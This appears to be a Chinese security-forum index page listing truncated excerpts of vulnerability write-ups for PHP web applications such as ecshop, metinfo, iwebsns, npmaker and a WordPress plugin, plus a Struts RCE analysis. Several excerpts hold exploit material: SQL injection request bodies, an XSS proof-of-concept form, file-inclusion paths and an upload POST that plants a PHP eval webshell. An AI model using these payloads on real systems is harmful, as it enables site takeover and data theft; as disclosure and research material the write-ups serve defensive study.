Web安全
【我爱T00LS】豆壳系统的xss及后台利用解析漏洞getshell
在豆壳系统中存在解析漏洞和XSS；改系统感觉很不错，代码简单，简洁。当我们进入后台可以直接备份出一句话木马：1.我们先在系统设置中填写一句话木马:2.然后在数据库备份中备份查看源码（这里只看到input 但是编辑不了，输入框不给予编辑，所以我们利用chrome自带的代码编辑器,按下F12调出，查看源码看
[php代码审计]ecshop的两个鸡肋注入
由于刚学php，就试着读一下ecshop的源码，发现两个鸡肋注入，由于都含有单引号，导致无法过gpc鸡肋注入1：在goods.php文件在代码大概277到278行/* 更新点击次数 */$db->query('UPDATE ' . $ecs->table('goods') . " SET click_count = click_count + 1 WHERE goods_id = '$_REQUEST'");$_REQUEST可控导
iwebsns1.0 任意文件删除&&2个注入
action\users\user_ico_cut_save.action.php<?php //引入模块公共方法文件 require("foundation/module_users.php");require("foundation/aintegral.php");require("foundation/fcontent_format.php");require("api/base_support.php"); //语言包引 $u_langpackage=new userslp; //数据库操作 d
关于Openx最近这个后门的利用
昨晚耶稣发我的, 就研究了下, 支持2.8.10-2.10, 比较鸡肋, 引用一段原文吧..
WordPress HMS Testimonials 2.0.10 XSS / CSRF漏洞
原文地址:http://www.1337day.com/exploit/21090测试方法：Proof of Concept========================1. Testimonial<form method="post" action="http://wordpress/wp-admin/admin.php?page=hms-testimonials-addnew"> <input type="hidden" name="name" value="<script>alert('xss')</script>">
飞马cms1.0注入.
刚刚在a5找淘宝客程序忽然一个飞马cms咋出现了.没看到过顺手下载看了下.粗略一看 看到tpxx.php这 顿时感觉不会再爱<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><
ecshop的goods_attr和goods_attr_id两个二次注入漏洞
漏洞作者：BLUE一：goods_attr_id的二次注入注入利用过程：1.添加商品到购物车时，写入注入代码到商品属性idhttp://localhost/test/ecshop/flow.php?step=add_to_cartPOST: goods={"quick":1,"spec":,"goods_id":32,"number":"1","parent":0}注意，需要spec有两个或以上id2.在查看购物车页面，点击更新
metinfo 5.1.7 getshell
1:代码分析 about/index.php $filpy = basename(dirname(__FILE__));$fmodule=1; require_once '../include/module.php';require_once $module; 结合metinfo的全局变量覆盖机制 可以包含文件 测试:http://w/coder/metinfo/about/?module=../robots.txt&fmodule=72:getshell 找个可以上传个地方 feedba
Struts（S-16/17）远程命令执行漏洞分析
之前winwin已经发过这个漏洞的分析文章，分析的很到位，不过有几个点有些问题，所以我在这里把自己的分析内容发出来，供各位参考。 这个漏洞的数据污染点和触发点，和其他的Struts不一样，所以本篇分析将从Struts执行流程中剖析此漏洞。在Struts2.3以后，官方将原有的起始过滤器换为：org.apache.
npmaker数字报漏洞集合
npmaker数字报 默认后台：/www/index.php?mod=admin&con=index&act=loginwin2003 getshell/www/index.php?mod=admin&con=onepage&act=addpostpost：onepage%5Bname%5D=phpx&onepage%5Bfilename%5D=php.php;&onepage%5Bcontent%5D=<?php eval($_POST);?>&id=&onepage_submit=%CC%E1%BD%BBshell地址 /sh
